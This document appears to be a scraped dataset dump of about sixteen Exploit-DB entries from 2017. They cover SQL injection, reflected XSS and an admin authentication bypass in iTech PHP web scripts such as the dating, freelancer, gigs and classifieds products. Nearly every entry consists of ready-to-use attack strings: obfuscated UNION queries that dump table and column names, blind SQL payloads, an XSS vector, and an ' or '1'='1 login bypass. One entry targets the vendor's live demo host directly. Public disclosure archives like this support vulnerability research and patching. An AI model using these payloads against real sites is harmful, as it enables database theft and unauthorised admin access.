deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42505
Description: iTech B2B Script 4.42 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Itech B2B Script 4.42 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/c/B2B/
# Demo: http://b2b.itechscripts.com/
# Version: 4.42
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE:
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# http://localhost/[PATH]/catcompany.php?token=[SQL]
# -1048a1d0c6e83f027327d8461063f4ac58a6'+/*!22222union*/+/*!22222select*/+0x31,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x33,0x34,0x35,0x36--+-
#
# http://localhost/[PATH]/search.php?keywords=[SQL]
#
# http://localhost/[PATH]/search.php?rctyp=[SQL]
#
# http://localhost/[PATH]/buyleads-details.php?id=[SQL]
#
# http://localhost/[PATH]/category.php?token=[SQL]
#
# http://localhost/[PATH]/company/index.php?c=[SQL]
#
# Reference:
# 
# # # # #
Exploit-DB #42656
Description: iTech Book Store Script 2.02 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-11
Author: 8bitsec

Exploit:
# Exploit Title: iTech Book Store Script v2.02 - SQL Injection / Reflected XSS
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/book-store-script
# Version: 2.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Reflected XSS on [id] parameter

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/book_details.php?id=[SQLi]

Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)-- uUqP

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-7869 UNION ALL SELECT CONCAT(0x[PII_REDACTED],0x546c4d4e535a5262584f446466626e[PII_REDACTED]7561614b687764535a6c574a4b[PII_REDACTED]4173,0x71766b7671)-- PYKD

Reflected XSS:

http://localhost/[path]/book_details.php?id=%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(document.domain)//%3E\x3e

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #42506
Description: iTech Business Networking Script 8.26 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Business Networking Script 8.26 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/business-networking-script/
# Demo: http://professional-network.itechscripts.com/
# Version: 8.26
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/group.php?grid=[SQL]
# -1'+/*!22222union*/+/*!22222select*/+0x31,0x32,0x33,0x34,0x35,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134--+-
#
# http://localhost/[PATH]/join_group.php?id=[SQL]
#
# # # # #
Exploit-DB #42507
Description: iTech Caregiver Script 2.71 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Caregiver Script 2.71 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/caregiver-script/
# Demo: http://caregiver.itechscripts.com/
# Version: 2.71
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/searchSitter.php?myCity=[SQL]
# -1'+/*!22222union*/+/*!22222select*/+(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32))--+-
#
# http://localhost/[PATH]/searchSitter.php?sitterService=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?age=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?gender=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?lastLoginElapsedInDays=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?yearsOfExperience=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?collegeLevel=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?fullPartTime=[SQL]
#
# http://localhost/[PATH]/searchSitter.php?liveInOut=[SQL]
#
# http://localhost/[PATH]/searchJob.php?sitterService=[SQL]
#
# http://localhost/[PATH]/searchJob.php?jobType=[SQL]
#
# http://localhost/[PATH]/searchJob.php?jobFrequency=[SQL]
#
# Etc...
# # # # #






http://caregiver.itechscripts.com/searchSitter.php?myCity=-1'+/*!22222union*/+/*!22222select*/+(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32))--+-
http://caregiver.itechscripts.com/searchSitter.php?sitterService=1'
http://caregiver.itechscripts.com/searchSitter.php?myCity=1'
http://caregiver.itechscripts.com/searchSitter.php?age=1'
http://caregiver.itechscripts.com/searchSitter.php?gender=1'
http://caregiver.itechscripts.com/searchSitter.php?lastLoginElapsedInDays=1'
http://caregiver.itechscripts.com/searchSitter.php?yearsOfExperience=1'
http://caregiver.itechscripts.com/searchSitter.php?collegeLevel=1'
http://caregiver.itechscripts.com/searchSitter.php?fullPartTime=1'
http://caregiver.itechscripts.com/searchSitter.php?liveInOut=1'
http://caregiver.itechscripts.com/searchJob.php?sitterService=2'
http://caregiver.itechscripts.com/searchJob.php?jobType=2'
http://caregiver.itechscripts.com/searchJob.php?jobFrequency=2'
Exploit-DB #41189
Description: Itech Classifieds Script 7.27 - 'scat' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Itech Classifieds Script v7.27 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/classifieds-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Classifieds Script v7.27 is the best classifieds software. Try this script and present yourself with a robust digital platform.

Type of vulnerability:

An SQL Injection vulnerability in Classifieds Script v7.27 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://localhost/subpage.php?scat=51[payload]

Parameter: scat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: scat=51' AND 4941=4941 AND 'hoCP'='hoCP

    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: scat=51' UNION ALL SELECT CONCAT(0x[PII_REDACTED],0x6d4d4d[PII_REDACTED]6c[PII_REDACTED]4342664b4a6f424d615951594f476c[PII_REDACTED]5545505a7558,0x716b767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- SKES
Exploit-DB #41201
Description: Itech Classifieds Script 7.27 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Itech Classifieds Script v7.27 - 'pid' Parameter SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/classifieds-script/
# Demo: http://itechscripts.com/classifieds-script/
# Version: 7.27
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/message.php?pid=[SQL]
# http://localhost/[PATH]/showSubcat.php?q=[SQL]
# E.t.c
# # # # #
Exploit-DB #42508
Description: iTech Classifieds Script 7.41 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Classifieds Script 7.41 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/classifieds-script/
# Demo: http://classifieds.itechscripts.com/
# Version: 7.41
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/message.php?pid=[SQL]
# -13++UNION+ALL+SELECT+0x31,0x32,0x33,0x34,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237,0x3238,0x3239,0x3330,0x3331,0x3332,0x3333,0x3334,0x3335,0x3336,0x3337,0x3338,0x3339,0x3430,0x3431,0x3432,0x3433,0x3434,0x3435,0x3436,0x3437,0x3438,0x3439,0x3530,0x3531,0x3532--+-
#
# http://localhost/[PATH]/userlistings.php?id=[SQL]
#
# http://localhost/[PATH]/show_like.php?cid=[SQL]
#
# Etc...
# # # # #
Exploit-DB #41202
Description: Itech Dating Script 3.26 - 'send_gift.php' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Itech Dating Script v3.26 - 'send_gift.php' SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/dating-script/
# Demo: http://dating.itechscripts.com/
# Version: 3.26
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/send_gift.php?id=[SQL]
# E.t.c
# # # # #
Exploit-DB #41190
Description: Itech Dating Script 3.26 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Itech Dating Script v3.26 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/dating-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Itech Dating Script v3.26 is a powerful platform to launch a dating portal. This product is extremely popular among the new webmasters.

Type of vulnerability:

An SQL Injection vulnerability in Itech Dating Script v3.26 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://localhost/see_more_details.php?id=40[payload]

Parameter: id (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 29 columns
Payload: id=40 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a6a71,0x[PII_REDACTED]7a[PII_REDACTED]496e6c63596f6f62586e534e544b53656b7077534e704e[PII_REDACTED]47,0x716a626271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- nZhVs
Exploit-DB #42514
Description: iTech Dating Script 3.40 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Dating Script 3.40 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/dating-script/
# Demo: http://dating.itechscripts.com/
# Version: 3.40
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/see_more_details.php?id=[SQL]
# -48+UNION(SELECT+0x283129,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929)--+-
#
# http://localhost/[PATH]/send_gift.php?id=[SQL]
#
# Etc...
# # # # #
Exploit-DB #41191
Description: Itech Freelancer Script 5.13 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Itech Freelancer Script v5.13 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/freelancer-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Itech Freelancer Script v5.13 is the best reverse auction script available online. Just install the product to launch your website within minutes. Please try the product now.

Type of vulnerability:

An SQL Injection vulnerability in Itech Freelancer Script v5.13 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://localhost/category.php?sk=4[payload]

Parameter: sk (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 52 columns
Payload: sk=1') UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x4c4d424a4d6549554b5878684e494a[PII_REDACTED]454a6d757a47454c697a4e4470544c46426e4765,0x71716b7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- rbbL
Exploit-DB #42510
Description: iTech Freelancer Script 5.27 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Freelancer Script 5.27 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/freelancer-script/
# Demo: http://freelance.itechscripts.com/
# Version: 5.27
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/profile.php?u=[SQL]
# -c4ca4238a0b923820dcc509a6f75849b'+UNION(SELECT+0x283129,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529)--+-
#
# http://localhost/[PATH]/showSkill.php?cat=[SQL]
# -1+UNION(SELECT+0x283129,0x283229,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283429)--+-
#
# Etc...
# # # # #
Exploit-DB #42752
Description: iTech Gigs Script 1.20 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-15
Author: 8bitsec

Exploit:
# Exploit Title: iTech Gigs Script v1.20 - SQL Injection
# Date: 2017-09-15
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/the-gigs-script/
# Version: 1.20
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-15

Product & Service Introduction:
===============================
Designed to launch an online market place facilitating participation of professionals from diverse walks of life.

Technical Details & Description:
================================

SQL injection on [cat] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/browse-category.php?cat=xxxxx' AND 4079=4079 AND 'zpSy'='zpSy

Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=10c4ca4238a0b923820dcc509a6f75849b' AND 4079=4079 AND 'zpSy'='zpSy

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43096
Description: iTech Gigs Script 1.21 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iTech Gigs Script 1.21 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/the-gigs-script/
# Demo: http://gigs.itechscripts.com/
# Version: 1.21
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15963
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]
# 
# -12c4ca4238a0b923820dcc509a6f75849b'++/*!08888UNIoN*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,(/*!08888SElEct*/+Export_sEt(5,@:=0,(/*!08888sElEct*/+count(*)/*!08888from*/(information_schEma.columns)whErE@:=Export_sEt(5,Export_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888column_namE*/,0xa3a,2)),@,2)),0x283829,0x283929,0x28313029)--+-
# 
# http://localhost/[PATH]/service-provider.php?ser=[SQL]
# 
# -9553'++/*!50000UNION*/+/*!50000SELECT*/+1,2,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# Parameter: sc (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sc=12c4ca4238a0b923820dcc509a6f75849b' AND 5747=5747 AND 'tzJH'='tzJH
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 10 columns
#     Payload: sc=-5921' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x74624c4f7167546e[PII_REDACTED][PII_REDACTED][PII_REDACTED]6d584b77796e[PII_REDACTED]646a7a44485a,0x717a6a7a71),NULL,NULL,NULL-- bjaB
# 
# Etc..
# # # # #
Exploit-DB #42509
Description: iTech Image Sharing Script 4.13 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iTech Image Sharing Script 4.13 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/image-sharing-script/
# Demo: http://photo-sharing.itechscripts.com/
# Version: 4.13
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/pinDetails.php?token=[SQL]
# -7136c4ca4238a0b923820dcc509a6f75849b'+UNION(SELECT+0x283129,0x283229,0x283329,0x283429,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x2832302)--+-
#
# http://localhost/[PATH]/boardpage.php?token=[SQL]
#
# http://localhost/[PATH]/searchpin.php?q=[SQL]
#
# http://localhost/[PATH]/profilepage.php?token=[SQL]
#
# Etc...
# # # # #
Exploit-DB #41226
Description: Itech Inventory Management Software 3.77 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Itech Inventory Management Software v3.77 - SQL Injection
# Google Dork: N/A
# Date: 02.02.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://www.itechscripts.com/inventory-management-software/
# Demo: http://inventory.itechscripts.com/
# Version: 3.77
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as employee user
# http://localhost/[PATH]/notice-edit.php?aid=[SQL]
# E.t.c...
# # # # #
Exploit-DB #41028
Description: Itech Job Portal Script 9.11 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-12
Author: Dawid Morawski

Exploit:
# Vulnerability: Job Portal Script v9.11 Authentication bypass
# Date: 12.01.2017
# Software link: http://itechscripts.com/job-portal-script/
# Demo:  http://job-portal.itechscripts.com
# Price: 199$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawid.morawski1990@gmail.com
#######################################


Go to http://localhost/[PATH]/admin/index.php and set:

Username: admin
Password: ' or '1'='1